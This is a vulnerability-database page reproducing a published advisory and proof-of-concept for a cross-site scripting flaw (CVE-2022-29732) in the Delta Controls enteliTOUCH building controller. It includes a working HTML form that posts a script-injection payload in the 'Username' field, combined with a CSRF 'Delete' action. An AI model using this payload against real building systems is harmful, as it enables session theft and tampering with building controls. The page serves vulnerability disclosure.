Vulners
Lucene search
Delta Controls enteliTOUCH 3.40.3935 Cross-Site Scripting (XSS)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2022-29732 | 2 Jun 202214:15 | – | attackerkb |
 | Delta Controls enteliTOUCH 跨站脚本漏洞 | 2 Jun 202200:00 | – | cnnvd |
 | CVE-2022-29732 | 27 May 202212:56 | – | cve |
 | CVE-2022-29732 | 27 May 202212:56 | – | cvelist |
 | EUVD-2022-34055 | 3 Oct 202520:07 | – | euvd |
 | CVE-2022-29732 | 2 Jun 202214:15 | – | nvd |
 | Cross site scripting | 2 Jun 202214:15 | – | prion |
 | CVE-2022-29732 | 22 May 202522:45 | – | redhatcve |
<!DOCTYPE html>
<html>
<head><title>enteliTouch XSS</title></head>
<body>
<!--
Delta Controls enteliTOUCH 3.40.3935 Cross-Site Scripting (XSS)
Vendor: Delta Controls Inc.
Product web page: https://www.deltacontrols.com
Affected version: 3.40.3935
3.40.3706
3.33.4005
Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
high-resolution display that serves as an interface to your building.
Use it as your primary interface for smaller facilities or as an
on-the-spot access point for larger systems. The intuitive,
easy-to-navigate interface gives instant access to manage your BAS.
Desc: Input passed to the POST parameter 'Username' is not properly
sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML code in a user's browser session in context
of an affected site.
Tested on: DELTA enteliTOUCH
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5703
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5703.php
06.04.2022
-->
<form action="http://192.168.0.210/deltaweb/hmi_userconfig.asp" method="POST">
<input name="userInfo" type="hidden" value=""/>
<input name="UL_SelectedOptionId" type="hidden" value=""/>
<input name="Username" type="hidden" value='"></script><script>alert(document.cookie)</script>'/>
<input name="formAction" type="hidden" value="Delete"/>
<input type="submit" value="CSRF XSS Alert!"/>
</form>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Apr 2022 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 24.3
CVSS 3.16.1
EPSS0.00526